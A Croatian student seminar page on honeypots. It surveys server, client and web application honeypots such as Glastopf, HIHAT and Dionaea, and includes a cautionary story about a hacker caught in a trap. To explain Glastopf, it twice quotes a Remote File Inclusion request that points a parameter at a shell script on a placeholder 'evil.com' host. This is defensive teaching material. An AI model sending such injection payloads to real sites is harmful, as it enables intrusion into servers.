Webapp honeypotovi
Tim: Franjo Kovačić, Ivan Žganjer, Dario Ljevak
Sadržaj |
Uvod
Razvojem informacijske tehnologije i sve širom upotrebom IT tehnologije povećava se broj onih koji nastoje zloupotrijebiti taj razvoj radi ostvarivanja vlastite koristi, a na štetu drugih. Napadači pronalaze propuste u zaštitama novih sustava, te razvijaju vlastite alate i tehnike kojima nastoje zaobići definirane sigurnosne mjere. Imajući u vidu prethodno iznesena viđenja potrebno je poduzeti različite mjere da bismo se zaštitili od neželjenih incidenata. Međutim, to u pravilu nije lako naročito ukoliko se radi o organizacijama ili osobama koje na svojim računalima posjeduju povjerljive dokumente. Bilo koji napad na sustav karakteriziraju sljedeći elementi: - metoda:vještina i znanje koje napadač posjeduje te alat i druga sredstva kojima se vrši napad - prilika: vrijeme i raspoloživost sustava za napad - motiv: razlog zbog kojega netko napada sustav. Tehnike, metode, sredstva i motivi svakodnevno poprimaju nove nepoznate dimenzije, pa stoga ne možemo sa sigurnošću tvrditi da posjedujemo zaštitu za naše sustave, nego iz dana u dan trebamo proširivati svoje znanje i nadograđivati sustave za zaštitu. Da bismo prikupili podatke i proučili prirodu napada, potrebno je primjenjivati različite tehnike. Relativno nova, ali svakim danom sve popularnija tehnika koja je namijenjena prvenstveno svim vrstama napadača je honeypot. Honeypot obuhvaća sve računalne resurse (hardverski, aplikativni i mrežni) koji služe kao mamac, a predviđeni su da budu napadnuti ili kompromitirani od strane neovlaštenih korisnika. Način implementacije i primjene honeypota je raznovrsna (o čemu ćemo u daljnjoj razradi seminara više govoriti), što ovaj sustav zaštite čini fleksibilnim i primjenjivim u različitim područjima zaštite računalnih sustava. Općenito, radi lakšeg praćenja sadržaja seminarskog rada, istaknuti ćemo ono što zaštita računalnih sustava podrazumijeva, a to je: - prevencija (prevention) – postupak poduzetih radnji pri projektiranja računalnih sustava, te poduzimanje potrebnih preventivnih mjera - detekcija (detection) – postupak praćenja prometa i uočavanje sigurnosnih propusta u procesu prevencije, te detektiranje i obavještavanje neovlaštenih pristupa - reakcija (reaction) – način na koji organizacija reagira na prethodni korak, odnosno detekciju neovlaštenog pristupa. Ono što još smatramo da je važno spomenuti u uvodu je i činjenica da honeypot možemo svrstati u sve tri faze zaštite (ovisno o tipu). Mogućnost detekcije i neovlaštenih aktivnosti, prikupljanje novih spoznaja o tehnikama i načinu napada, te izgradnja novih sigurnosnih rješenja.
--Dario.ljevak 18:25, 20. siječnja 2013. (CET)
Primjer iz svakodnevnog života
Radi lakšeg razumijevanja gradiva, ali i samog pojma vezanog uz honeypotove, pronašli smo na blogu primjer koji slikovito objašnjava što su zapravo honeypotovi i njihovu primjenu.
„John je haker, ali od one vrste koja voli napadati tuđa računala i mreže. Uživa u tome. On svake večeri stavi svoj crni šešir i krene u osvajanje. Noć je njegovo vrijeme, a on osvaja široka internet prostranstva iz mira i tišine svoje sobe. Prvo je to bilo iz znatiželje, pa iz želje da se hvali pred prijateljima i djevojkama, a onda mu je to postao "posao". Davno je naučio sve o internetu i bio najbolji u kraju u "pozajmljivanju lozinki", provaljivanju u tuđe sustave. Krao je lozinke, hvalio se prijateljima da može "ući u bilo čije računalo". Bio je glavni frajer među djevojkama na faksu, baja među prijateljima - barem tako je mislio. Nebrojeno puta je i uspijevao, namamljivao ljude na chatu, facebooku, slao im mailove na koje su se oni jadni pecali, njuškao po mreži, slao drugima trojance i programe koji bilježe svaki otkucaj na tipkovnici i šalju mu i puno toga još... Jedne večeri osvajao je posebnu tvrđavu. Namjerio se na jednu vrlo zanimljivu farmu servera na internetu. Izučavao ih je mnogo tjedana, skenirao portove, proučio što ima od informacija na internetu o njima, saznao dosta o firmi, ljudima, njihovoj mreži, softveru. Par večeri prije toga je uočio i da postoji mjesto gdje će se moći "ušuljati". Jedan od njihovih firewalla i jedan server bili su slabo zaštićeni. Baš se čudio kako im je to promaklo. "Mora da su bili lijeni ili su jednostavno zaboravili malo bolje podesiti i zategnuti stvari" - pomislio je John. Njegov cilj je bio doći do mjesta gdje se čuvaju podaci o korisničkim računima, a bilo bi super da nekako uzme neku datoteku ili bazu sa brojevima kartica, pošto je otkrio da se ta firma bavi elektronskom trgovinom. Te večeri sve je išlo kao po loju. Uspio je za kratko vrijeme pristupiti serveru. Bio je u pravu. Ti njihovi administratori izgleda spavaju na poslu, kad su mogli tako glupo postupiti i ostaviti "vrata odškrinuta". Čudio se i likovao u isto vrijeme. Promrmljao je sebi u bradu zadovoljno: "Ha, ha... koji paceri" i slavodobitno se nasmijao. Došao je do servera na kojem je bilo dosta toga zanimljivog. Nešto je mirisalo na bazu podataka. "Pazi kako se baza zove CCards. Hm... da li je moguće da su stavili i ime tako da se ne moram puno mučiti?" Izgleda da jesu. Uspio je da "prevuče" nekoliko datoteka do svog računala. Otvorio je i povezao neke od podataka. Zamisli, stvarno brojevi kartica, imena, adrese, datumi isticanja, čak i CVV kodovi... Super, pomislio je. Oni nisu ni čuli za PCI DSS Standard i Compliance. Malo je još prolunjao po računalima firme u koju se virtualno ušuljao. Poskidao je još neke datoteke. Nije baš znao što je u njima, neke čudne ekstenzije i formati, ali nema veze, pomislio je. Neka se nađe. Razmišljao je i da im ostavi neku pogrdnu poruku i stavi do znanja da je bio "u posjeti", ali se ipak suzdržao. Ipak je on postao ozbiljan haker i ne ostavlja tragove. Pred zoru je otišao spavati. Bio je vrlo zadovoljan. Zaspao je zadovoljno razmišljajući o tome što će sve pokupovati sutra čim se probudi karticama koje je upravo pronašao. Odjedanput čuo je zvonjenje na svojim vratima. Nije znao pričinjava li mu se u snu ili je stvarno. Kako je zvonjenje bilo uporno, dogegao se do vrata i vidio ljude koji su prema špijunki pokazivali svoje legitimacije. Policija, FBI... Grozničavo je razmišljao: Kako, zašto? Kako su provalili... Kroz glavu mu je sinula riječ Honeypot. Upao je u zamku, ćup sa medom, zalijepio se za mamac, a da nije bio svjestan. Ta odškrinuta vrata za ulazak u računalni sustav velike firme su bila zamka...
Honeypots ili slatke zamke
Kako uhvatiti zlonamjerne hakere koji su sa one strane i bave se nečasnim radnjama na internetu? Pa nije lako, ali postoje načini i za to. To je vječita igra nadmudrivanja. Jedan od načina je: postaviti mamac ili zamku kojoj ni oni neće moći odoljeti. Te zamke se obično zovu honeypotovi. U računalnoj terminologiji, honeypot je zamka koja je postavljena da otkrije, odvrati ili na neki drugi način spriječi pokušaje neovlaštenog korištenja informacijskih sustava. Može se sastojati od računala, podataka, sajta koji izgleda kao dio mreže, ali je, u suštini, izoliran, zaštićen, nadziran, a djeluje tako kao da sadrži informacije ili resurse koji mogu biti zanimljivi i značajni za napadače. Honeypot je resurs informacijskog ili računalnog sustava, čija vrijednost leži u neovlaštenoj ili nedozvoljenoj upotrebi tog resursa. U bukvalnom prijevodu, honeypot je ćup ili posuda sa medom. Honey je med, a pot je lonac, ćup. Honeypot je vrsta zamke ili mamac koji se koristi da se otkriju hakerski napadi ili da se prikupe uzorci zlonamjernog koda. Postoje različite vrste ovih zamki. Neki se sastoje od računala povezanih na mrežu da uoče i prikupe uzorke zlonamjernog koda, dok drugi osigurava lažne mrežne usluge (npr. Web serveri) sa ciljem da zabilježe podatke u dolaznim napadima. Honepotovi se često koriste od strane stručnjaka za sigurnost da bi se prikupili podaci o tekućim opasnostima i napadima, ali također i od strane različitih agencija i institucija specijaliziranih za sigurnost računalnih sustava i mreža i informacijskih sustava.
Prednosti primjene honeypot-ova
Honeypotovi imaju niz prednosti u pogledu praćenja napada i bilježenja događaja vezanih za napade. Neke od njih su:
•Skupljaju malu količinu podataka, ali su skupljeni podaci od velike važnosti.
Fokusirani su samo na zlonamjernu aktivnost i, prema tome smanjuju šum tj. skupljaju male i sasvim ciljane grupe podataka koji su od velike važnosti za istraživanje ciljanog napada. Time se pojednostavljuje i skraćuje vrijeme otkrivanja i analize zlonamjerne aktivnosti.
•Relativno nova tehnologija i taktika dizajnirana da prikupi informacije o novim vrstama napada, koje ranije nisu korištene ili viđene.
•Minimalni resursi su potrebni da se implementira honeypot. To može biti jedan računar ili veoma mala grupa računara i drugih uređaja.
•Informacije koje se prikupe primjenom ove taktike ponekad se teško mogu prikupiti drugim metodama i tehnikama.
•Jednostavnost - koncept je vrlo jednostavan. Bitno je da su honepot-ovi postavljeni elegantno i da privuku zlonamjernu aktivnost. Također, bitno je da postoje dobri mehanizmi bilježenja događaja.
Nedostaci
Kao i druge tehnologije, honeypot-ovi imaju svoje slabosti. To je zato što oni ne zamjenjuju nijednu tekuću tehnologiju, ali rade sa postojećim tehnologijama. Možemo reći da su nedostaci:
•Ograničen pogled - Honeypot-ovi mogu skupiti podatke samo o aktivnosti koje su u međudjelovanju sa njima i neće biti u stanju skupiti podatke o napadima na druge sustave, ako ne dođe do interakcije sa honeypot-om.
•Rizik - kao i ostali sustavi, i honeypot-ovi nisu imuni na rizik. Postoji opasnost da ih preuzmu tj. njima ovladaju loši momci. U tom slučaju oni mogu poslužiti kao baza za napade na druge sustave.
Postoje različiti tipovi honeypotova. Dijele su u dvije opće kategorije:
Honeypotovi sa niskim stupnjem interakcije. Primeri su Honeyd i KFSensor
Honeypotovi sa visokim stupnjem interakcije. Primer je Honeynet.
*Napomena: Tekst je djelomično izmijenjen radi potrebe prijevoda
--Dario.ljevak 18:25, 20. siječnja 2013. (CET)
Pojam, definicija i arhitektura
Na samom početku ćemo pokušati definirati sam pojam honeypota. U svijetu računalne sigurnosti termin honeypot označava zamku postavljenu napadačima. Cilj zamke je uhvatiti napadača i analizirati njegove tehnike napada. Honeypot se obično sastoji od jednog ili više računala koja su podešena tako da se napadačima predstavljaju kao sustavi na kojima postoje vrijedne informacije i potiču ih na napad. U stvarnosti su ta računala strogo izolirana i kontrolirana te omogućuju praćenje svih napadača koji ih pokušavaju kompromitirati (u seminarskom radu ćemo navesti i zanimljivu priču koja ilustrira pokušaj napada i otkrivanje, te na osnovu te priče smatramo da će i potpuni laici shvatiti važnost i djelovanje honeypot sustava). Honeypote često postavljaju antivirusne kompanije i specijalizirane udruge. No, honeypot može postaviti gotovo svatko tko ima pristup internetu. Korist od njih je višestruka. Honeypoti omogućavaju analizu napadačkih tehnika kriminalaca. Time sigurnosni stručnjaci dobivaju informacije o tome što je aktualno i koje su najnovije prijetnje na internetu. U prvom redu to se najviše odnosi na prikupljanje novih ranjivosti i novih primjeraka zlonamjernog koda. Različite vrste honeypota se dijele u skupine s obzirom na to koji stupanj interakcije dopuštaju napadaču. Prema stupnju interakcije postoje: - Honeypoti visokog stupnja interakcije – dopuštaju napadaču potpuni pristup računalu - Honeypot niskog stupnja interakcije – ne dopuštaju potpuni pristup računalu već samo emuliraju servise i njihove ranjivosti. Honeypote također možemo podijeliti prema tome koriste li se oni kao poslužitelji ili kao klijenti. Honeypoti koji su dizajnirani kao poslužitelji služe prikupljanju zlonamjernih programa i napada koji se automatski šire mrežom. Honeypoti dizajnirani kao klijenti prvenstveno služe prikupljanju zlonamjernih programa s web stranica. Oni simuliraju surfanje webom i analiziraju svaku posjećenu web stranicu.
Računala, mamci i ponašanje napadača (str. 9)
Poslužiteljski honeypoti
Poslužiteljski honeypoti su ona vrsta honeypota koja se instalira na neki poslužitelj i onda čeka napadače. Oni emuliraju popularne mrežne servise i ranjivosti u njima u nadi da će ih napadači pokušati iskoristiti. Ovakvi honeypoti su dobri u skupljanju malvera koji se automatski širi po internetu. Skupljanje i analiza malvera važan je dio računalne sigurnosti. Neki od razloga zašto sigurnosne kompanije i stručnjaci analiziraju malver su: - Proučavanjem malvera dobivamo više informacija o tome kako se zaštiti protiv određene ranjivosti. - Možemo iskoristiti tehniku skupljanja malvera kako bi preventivno zaštitili mrežu. - Skupljanje malvera u velikoj količini (npr. honeynets) nam može poslužiti kako bi generirali statistike o načinima napada, trendovima napada i slično. No, skupljanje malvera je zahtjevan posao, pogotovo kada se uzme u obzor rastući broj malvera na internetu i brzina kojom se oni šire. Honeypoti nude visok stupanj automatizacije ovog procesa kako bi istraživačima olakšali posao i omogućili im da prikupe što više primjeraka malvera.
Nepenthes
Nepenthes je bio popularan honeypot namijenjen skupljanju malvera. Cijeli kod je dostupan na Nepenthes. Danas je nephentes zastario i sami autori preporučuju korištenje Dionaea honeypota. No, u nekim situacijama Nepenthes može biti koristan. Arhitektura Nepenthes honeypota je ostvarena kroz modularan dizajn i ovakav dizajn je postao de facto standard za izgradnju honeypota.
Honeytrap
Honeytrap je skupljač malvera koji procese dohvata podataka i analize napada radi odvojeno. Dostupan je s URL-a Honeytrap. Proces dohvata podataka se u potpunosti odvija u jezgri honeytrapa. Daljnja analiza napada, kao što je provjera tijeka napada se obrađuje sa dodacima (plug – in) koji se mogu učitavati tijekom rada honeypota. Honeytrap nema klasični pristup skupljanju malvera gdje se emuliraju dobro poznate ranjivosti u servisima. Ovakav pristup ne radi ako želimo promatrati nove i nepoznate napade (zero-day attacks).
Dionaea
Do sad su opisana dva honeypota čije funkcionalnosti su onova za skupljanje malvera. Dionaea je honeypot koji spaja funkcionalnosti Nepenthesa i Honeytrapa. Riječ je o nešto novijem honeypot-u, razvijenom kao nasljednikom Nepenthesa. Dionaea je dostupna s URL adrese Dionaea
Honeyd
Honeyd je platforma za upravljanje s velikim brojem virtualnih honeypota. Obično se honeyd konfigurira da upravlja nealociranim IP adresama na postojećoj mreži. Za svaku IP adresu možemo reći honeydu kakvo ponašanje očekujemo od pripadajućeg virtualnog honeypota. Na primjer, mogli bismo postaviti virtualni web poslužitelj za kojeg izgleda kao da se vrti na Linuxu i sluša na portu 80. Možemo postaviti drugi virtualni honeypot za koji izgleda kao da su svi portovi otvoreni te se servisi vrte na Windows operacijskom sustavu. Glavna prednost honeyda u odnosu na ostale honeypote je mogućnost konfiguriranja više virtualnih honeypota na jednom fizičkom računalu. Napadač može komunicirati sa svakim virtualnim honeypotom posebno i dobiti dojam da se radi o fizičkom računalu koje vrti određeni operacijski sustav, te su pokrenuti određeni servisi.
Argos
Argos je honeypot visokog stupnja interakcije koji je sposoban otkrivati nove napade (zero-day attacks). Koristi se tehnikom koja se zove dynamic taint analysis kako bi promatrao honeypot. Ovo je tehnika u kojoj su svi podaci primljeni preko mreže označeni. Označeni podaci se prate kroz memoriju u smislu da se sve varijable na koje ovi podaci utječu također označavaju. Ako u jednom trenutku ovi označeni podaci djeluju na tok izvršavanja, tada Argos generira presliku memorije (memory footprint) nakon čega možemo započeti forenzičku analizu i otkriti ranjivost.
Honeypot – zamke na Internetu (str. 4-13)
Klijentski honeypot
Od 2007. godine u svijetu računalne sigurnosti dolazi do promjene u načinu širenja zlonamjernog koda i infekcije žrtava. Prije se malvare širio gotovo potpuno automatski, a ključan čimbenik koji je omogućavao takvo širenje bile su ranjivosti u operacijskim sustavima i mrežnim servisima. Malver je s jednog zaraženog računala pretraživao mrežu za drugim računalima i potom se pokušao proširiti na njih. Kada bi uspio, istu radnju ponavljao bi na novozaraženom računalu. To je omogućavalo malveru da dostigne gotovo eksponencijalnu razinu širenja i u kratkom vremenu zarazi veliki broj računala bez ikakve interakcije s korisnikom. Kako bi doskočili ovakvoj vrsti malvera sigurnosni stručnjaci su razvili honeypotove koji bi emulirali ranjive servise i čekali da ih malver pokuša iskoristiti. Takvi honeypotovi su dobro funkcionirali i istraživačima bi omogućavali uvid i nadzor nad novim vrstama malvera i načinima njihova širenja. Danas (2012. godine) situacija se iz temelja promijenila. Iako malver još uvijek postoji, on ima potpuno nove načine širenja i drugačiju ulogu. Napadači su se okrenuli klijentskim aplikacijama i korisnicima. Danas je teško pronaći malver koji se širi potpuno automatizirano putem mreže, bez interakcije korisnika. Gotovo svaki malver vezan je uz web i to je osnovna platforma za njegovo širenje. Neki od razloga za to su: - Veliki rast popularnosti web-a u zadnjih 5 godina. Web je postao osnovna platforma razmjene informacija i usluga na internetu. - Korištenje weba kao platforme za poslovanje, u prvom redu kupovina i Internet bankarstvo. Ovaj i razlog naveden prije, doveli su do velikog broja korisnika koji svoje financijske transakcije obavljaju putem interneta. to je zainteresiralo i kriminalce jer tu vide prostor za brzu zaradu. - Poboljšana sigurnost operacijskih sustava. Proizvođači OS-ova su unaprijedili proces razvoja i poboljšali kvalitetu operacijskih sustava. - Niska kvaliteta web aplikacija. Na webu postoji mnoštvo različitih vrsta aplikacija koje su razvijali različiti proizvođači ili pojedinci. Često te aplikacije nemaju zadovoljavajuću razinu kvalitete, ali se ipak koriste u produkciji. Kriminalci ovo iskorištavaju kako bi ranjive web aplikacije koristili za širenje svog malvera. Iskorištavanje ranjivosti odvija se putem web stranice. Ona sadrži zlonamjernu skriptu ili dokument koji, kada ga korisnik otvori, iskorištava ranjivost u njegovoj klijentskoj aplikaciji. Iskorištavanjem ranjivosti napadač dobiva kontrolu nad računalom korisnika i na njega postavlja svoj malver. Takvi napadi zovu se drive-by-download napadi. Njihova ključna odlika je da korisnik mora posjetiti zlonamjernu web stranicu kako bi ranjivost bila iskorištena. Postoji mnogo različitih tehnika i načina pomoću kojih se korisnika može dovesti na zlonamjernu stranicu. Klasični poslužiteljski honeypoti ne mogu prepoznati ni uhvatiti malver koji se širi na ovaj način. Zbog toga su razvijeni klijentski honeypoti. Riječ je o specijaliziranim honeypotovima koji mogu pretraživati web i pri tome tražiti zlonamjerne web stranice i aplikacije. Osnovna razlika između njih i klasičnih poslužiteljskih honeypotova je u pristupu. Dok poslužiteljski honeypotovi čekaju da malvere pokuša doći do njih, klijentski honeypotovi imaju proaktivnu ulogu i sami traže malvere. Iako ovo u osnovi zvuči jednostavno, implementacija klijentskih honeypota se suočava s velikim problemima. Web se sastoji od mnogo složenih tehnologija, a za uspješnu provjeru klijentski honeypotovi moraju poznavati dobar dio tih tehnologija. Točnije rečeno, klijentski honeypotovi moraju što uspješnije emulirati web browser kako bi stvorili realan dojam posjećivanja. Emulacija web preglednika podrazumijava izgradnju podrške za parsing HTML jezika i izvršavanje JavaScript-a te implementaciju DOM-a. Ovo su složeni programski zadaci i različiti klijentski honeypotovi su različito prostupili rješavanju ovog problema. Trenutno je dostupno malo implementacija klijentskih honeypotova. Većina njih su projekti koji su napušteni i neodrživi. U nastavku dokumenta donosimo tri najnovija klijentska honeypota.
Thug
Thug je klijentski honeypot niske interakcije pisan u programskom jeziku python. Kao što se od klijentskog honeypota može očekivati, Thug je dizajniran da emulira web preglednik i automatizirano analizira njihov sadržaj. Konačni cilj mu je otkriti i emulirati zlonamjeran sadržaj pronađen na web poslužiteljima, odnosno web stranicama. Thug je vjerojatno najmlađi od svih klijentskih honeypota, dostupan je na sljedećem URL: Thug i namijenjen je izvršavanju na Linux operacijskom sustavu. Nakon što analizira određenu stranicu thug će pohraniti rezultate analize u jedan direktorij. U njemu će se nalaziti i izvještaj analize datoteka i zabilježeni zlonamjerni programi. Dvije važne mogućnosti Thug-a su podrška za preuzimanje web sadržaja preko proxy-a i podrška za analizu lokalno pohranjenih web stranica. Ovo potonje može posebno biti korisno istraživačima koji imaju primjerke web stranica pohranjene na lokalnom disku, a koje nisu dostupne putem mreže. Najveći nedostatak Thuga je činjenica da nije namijenjen za automatsko pretraživanje web stranica.
Phoneyc
Phoneyc je još jedan klijentski honeypot niske interakcije. Za razliku od Thug-a, Phoneyc je stariji i manje održavan. Web adresa ovog projekta je:Phineyc Slično kao i Thug, Phoneyc koristi emuaciju kako bi „odglumio“ različite ranjivosti koji se iskorištavaju protiv web preglednika. Pri tome Phoneyc imitira izgled preglednika prema pojedinoj web stranici i podržava parsing te izvršavanje skriptnog koda. Pisan je u potpunosti u programskom jeziku Python. Što se tiče detekcije ranjivosti i zlonamjernog koda, Phoneyc koristi dva različita pristupa. Odmah nakon preuzimanja sadržaja s udaljenog web servera Phoneyc će koristiti ClamAV anti-virusni alat kako bi provjerio da li stranica ima kakav zlonamjeran sadržaj. Nakon toga Phoneyc pokreće parsing HTML sadržaja i iz njega izdvaja potencijalne skripte. Skripte se potom emuliraju i njihov sadržaj analizira. Ukoliko Phoneyc tada otkrije moguće iskorištavanje ranjivosti ili zlonamjeran kod, ispisat će upozorenje i zabilježiti URL-u log datoteku.
HNS Capture-HPC NG
HNS je kartica za HoneySpider Network Capture. Riječ je o zajedničkom projektu između poljskog i nizozemskog CERT-a te SURFNeta. Rezultat tog projekta je klijentski honeypot visoke interakcije nazvan HNS Capture-HPC NG. Capture-HPC NG je nasljednik starijeg honeypota:Capture-HPC. Ovaj projekt je proširio stariju verziju i dodao mu nove mogućnosti. Sam honeypot dostupan je na web stranici- HNS Capture-HPC NG. Nažalost dokumentacija za Capture-HPC NG je slaba i gotovo da nema jasnih uputa za upotrebu. Dostupne su samo kratke uputu za instalaciju. Capture-HPC NG je klijentski honeypot visoke interakcije, on ne emulira preglednike i njihove ranjivosti već za surfanje internetom koristi stvarne web preglednike. Takav honeypot predstavlja znatno veću opasnost budući da napadač može kompromitirati računalo koje se koristi u honeypotu i preuzeti kontrolu nad njim. Kako bi izbjegao takav scenarij Capture-HPC NG koristi virtualna računala. Naime, Capture-HPC NG se sastoji od dva dijela, prvi dio je poslužitelj koji kreira i upravlja virtualnim računalima te njih koristi za analizu zlonamjernog koda. Drugi dio je klijent koji se instalira u virtualno računalo. On komunicira s poslužiteljem kako bi prikupio nove radne zadatke i upravlja samim preglednicima. Klijent upućuje web preglednik na sumnjivo web mjesto i potom prati promjene na sustavu. Ukoliko otkrije da se nakon posjeta određenom web mjestu na sustavu nalazi zlonamjerni kod zaključuje da je riječ o zlonamjernoj web stranici. Nakon analize, poslužitelj vraća virtualno računalo u izvorno stanje koje nije inficirano. Capture-HPC NG honeypot koristi crawler kako bi automatski analizirao različita web mjesta. Poslužitelj je dizajniran za Linux operacijski sustav, a svaki klijent za Windows XP operacijski sustav. Klijenti koriste Internet Explorer 6.0 kako bi testirali web stranice na ranjivosti. Ovakav pristup s korištenjem virtualnih računala i visoke interakcije donosi veliku prednost u analizi ranjivosti i zlonamjernog koda koji se koristi na web-u. Capture-HPC NG može otkriti nove i nepoznate ranjivosti. Cijeli sustav predstavlja realnu okolinu i puno je veća vjerojatnost da će ranjivost u preglednicima biti iskorištena te da će honeypot uspjeti uhvatiti malvare. Mane ovog pristupa su složena instalacija i konfiguracija te znatno veća opasnost od kompromitiranja i otkrivanja honeypota. Zbog toga je prilikom instalacije ovakvog honeypota potrebno dodatnu pažnju posvetiti sigurnosti.
--Dario.ljevak 18:25, 20. siječnja 2013. (CET)
Web Application Honeypots (WAH)
Kako smo definirali i objasnili što je to honeypot, njegovu upotrebu i značenje u razotkrivanju brojnih napadača kojih je u posljednje vrijeme sve više, definirati ćemo i web application honeypot što je zapravo i tema našeg seminarskog rada. Informacije o web application honeypotu smo pronašli u dokumentu koji opisuje web app honeypot, a razvijen je kao sastavni dio Honeynet Projecta (neprofitna sigurnosna organizacija koja odlučuje istraživati posljednje napade i razviti open source alat koji će poboljšati sigurnost na internetu). Poznato je da web aplikacije predstavlja važan dio IT infrastrukture, ali ono što je neprihvatljivo sa gledišta norme ponašanja na internetu, je činjenica da se učestalost napada na njih uvelike povećava. Projekt koji smo prethodno spomenuli upravo odgovara na tu činjenicu i daje smjernice za njihovo rješavanje. Osim toga omogućuje branitelju sustava identificirati i osigurati se od potencijalnih ranjivosti i prijetnja mnogo prije. Za web application honeypot možemo reći da predstavlja web server (poslužitelj), te se zasniva na tome da on „reklamira“ svoje postojanje i samim time privlači napadače. Kada dođe do napada, odnosno kada napadač uoči određenu ranjivost, način na koji se „borimo“ protiv napada je da klasificiramo i odredimo zahtjev (slično kao što radi firewall). Kao što smo prethodno spomenuli, tako i kod webapp honeypota postoje emulatori koji klasificiraju pristigle zahtjeve, odnosno emuliraju prijetnje te stvaraju odgovarajuće reakcije koje na kraju vode napadača do zaključka da je njegov napad bio uspješan (analogija sa pričom o John-u hakeru). Tako na primjer , ukoliko napadač pokušava iskoristiti SQL Injection ranjivost koja dohvaća informacije iz baze podataka, emulator će preoznati SQL injection i vratiti poruku o pogrešci ili stranicu koja će upućivati na to da je napad bio uspješan (npr. popis sadržaja tablice baze podataka). Osim svega spomenutog, WAH također uključuju i mogućnost izvještavanja koje omogućuju administratoru ili branitelju podatke za analizu i dijeljenje kako bi se u budućnosti spriječili napadi slične prirode. Prethodni WAH (kao HIHAT, Google Hack Honeypot…) bili su samo u mogućnosti da obrađuju napade koji su usmjereni na određeni skup ranjivosti i nisu baš pružali dodatne informacije koje bi mogle otkriti taktike i nastojanja napadača, dok novi WAH imaju mogućnost boljeg obrađivanja i uočavanja napada.
Cyber Fast Track: Web Application Honeypot – Final Report, 2012.
--Dario.ljevak 18:27, 20. siječnja 2013. (CET)
WebApp Honeypot projekti
Postoji nekoliko glavnih webapp Honeypot projekata.
- Glastopf - HIHAT - DShield Web Honeypot Project - Google Hack Honeypot - PHPHoP (jedan od prvih projekata; više se ne održava).
Od svih navedenih projekata, samo se Glastopf razlikuje od ostalih po načinu funkcioniranja. Funkcioniranje Glastopf-a objasnit ćemo kasnije. Ostala 4 projekta rade po načelu primjene modificiranih predložaka pravih web aplikacija. Na taj način te se aplikacije čine veoma ranjivima i privlačne potencijalnim napadačima. Nedostatak tog načina rada je potreba pisanja novih predložaka kako bi se mogle podržavati nove ranjivosti, što zahtijeva mnogo vremena.
Glastopf
The Honeynet Project je vodeća međunarodna neprofitna organizacija koja se bavi sigurnošću informacijskih sustava. Ova organizacija pomoću svojih alata omogućuje poduzećima istraživanje cyber prijetnji. Jedan od tih alata je i Glastopf kojeg je 2009. godine počeo razvijati Lukas Rist. Glastopf je Honeypot koji prati brojne ranjivosti te tako prikuplja informacije o napadima kojima su cilj web aplikacije. Sam Honeypot radi po sistemu odašiljnja odgovora napadaču, i to upravo onom kojeg on očekuje. Glastopf podržava praćenje višestupanjskih napada, posjeduje emulator ranjivosti te popis ugrozivih zahtijeva. Glastopf je minimalistički web server pisan u Pythonu. Nakon pokretanja programa, moguće je promatrati djelovanje napadača, informacije o napadu slati u sandbox (mehanizam koji odvaja pokrenute programe), prikazati događanja na web sučelju te napisati dokument o svim saznanjima.
Glavni cilj je da napadač svaki puta dobije odgovor koji želi kako bi se zaista činilo da postoji ranjivost. Kako bi se taj odgovor uspješno generirao, potrebno je proučiti napad.
Primjer jednog napada kojeg bi mogao napraviti napadač izgleda ovako:
- GET http://primjer.com/napad.php?color=http://evil.com/shell.php
U ovom primjeru napadač je variablu "color" definirao kao URL prema malicioznoj datoteci. Ovakav primjer napada naziva se "Remote File Inclusion" ili skraćeno RFI. U proučavanju napada bitno je primjetiti metodu kojom se koristi napadač. Ovdje je ta metoda GET. Glastopf, uz ovu metodu, ima mogućnost rukovanja sa metodama POST i HEAD. Kada je prepoznat napad simulira se odgovor napadaču.
Glastopf - RFI
Dakle, kod ovog napada uključuje se maliciozna datoteka u kod unutar web aplikacije te se pokreće unutar napadnutog web servera.
Ova slika prikazuje kako Glastopf odgovara napadaču. Dakle, Glastopf se obrača HEAD metodom te pokušava dohvatiti onaj file kojeg je napadač i sam htio ubaciti. Emulator ranjivosti čita zaprimljeni file te u njemu pronalazi svaku liniju koja sadrži echo funkciju. Pri pronalasku linije koja sadrži echo, Glastopf u liniji pronalazi varijable koje sprema u tzv. "riječnik". Ukoliko se te varijable kasnije pozovu, Glastopf ih zamijeni odgovarajućim vrijednostima. Ptom slijedi odgovor napadaču o uspješnom ubacivanju file-a. Posljednji korak je dork lista. To je lista koja sadrži sve potencijalne žrtve. Još jednom navodimo primjer od maloprije:
- GET http://primjer.com/napad.php?color=http://evil.com/shell.php
Vjerujući da je uspio ubaciti maliciozni file, napadač može pretraživati url "napad.php". Kako je spremljen na dork listu, napadač će zapravo naići na honeypot.
Uz RFI ranjivost, Glastopf se bavi i LFI ranjivostima. Početkom listopada 2012. godine, Glastopf je uveo emulator koji prepoznaje SQL injection ranjivost.
HIHAT
HIHAT je skraćen naziv za "High Interaction Honeypot Analysis Toolkit". Omogućuje transormaciju aplikacije u web baziran Honeypot. Neke od značajki HIHAT-a su:
- automatsko skeniranje za poznate napade - prepoznaje SQL injection, RFI, XSS, Command injections - omogućuje pregled i skeniranje novih incidenata - pruža detaljne informacije koje se skupljaju svakim pristupom Honey - sprema kopije malicioznih alata na sigurno mjesto za kasnije analiziranje - pruža IP-bazirano obilježavanje mape odakle su počinjeni napadi
DShiled
Ovaj Honeypot nosi isto ime kao i DShield koji prikuplja logove firewalla. Ovdje je cilj prikupljati logove za web aplikacije. Na taj način prikupljaju se podaci i prate automatski ili poluautomatski pokušaji napada prema web aplikacijama te sami uspješni napadi. DShield honeypot je sam po sebi jednostavna PHP stranica. Ima mogućnost oponašanja nekoliko web aplikacija. DShield honeypot se sastoji od 3 elementa:
- honeypot klijenta - seta predložaka - logging sistema
Svaki zahtijev koji dolazi do honeypota proslijeđuju se prema honeypot klijentu. Taj klijent tada pretražuje set predložaka kako bi pronašao istu aplikaciju kojoj je zahtijev upućen. Taj predložak se tada šalje napadaču, a u protivnom se prikazuje normalna web stranica. Svaki put zahtijev se pohranjuje u DShield bazu podataka.
Google Hack Honeypot
Samim razvojem Google-a koji svakim danom obuhvaća sve više novih stranica, povečavaju se i rizici od web napada. Sve je veći broj i web aplikacija poput message board-ova ili remote administrative tool-ova. Nekad su moža lošije konfigurirane te tako postaju ranjive.
Google Hack Honeypot emulira ranjive web aplikacije te dopušta njihovo indeksiranje kako bi mogle biti pronađene na web-u. Ipak, ne mogu biti pronađene standardnim pretraživanjem već se one pronalaze kada se koristi tzv. web crawler koji pretražuje internet metodičnim i automatskim postupcima. To je moguće zbog transparentnog hyperlinka koji se može pronaći jedino tim načinom pretraživanja. Ukoliko napadač dođe do honeypota, honeypot se automatski spaja sa konfiguracijskom datotekom. Ta datoteka upisuje potrebne informacije o host-u napadača u log file. Upravo taj log file omogućuje praćenje napadača i njegove aktivnosti.
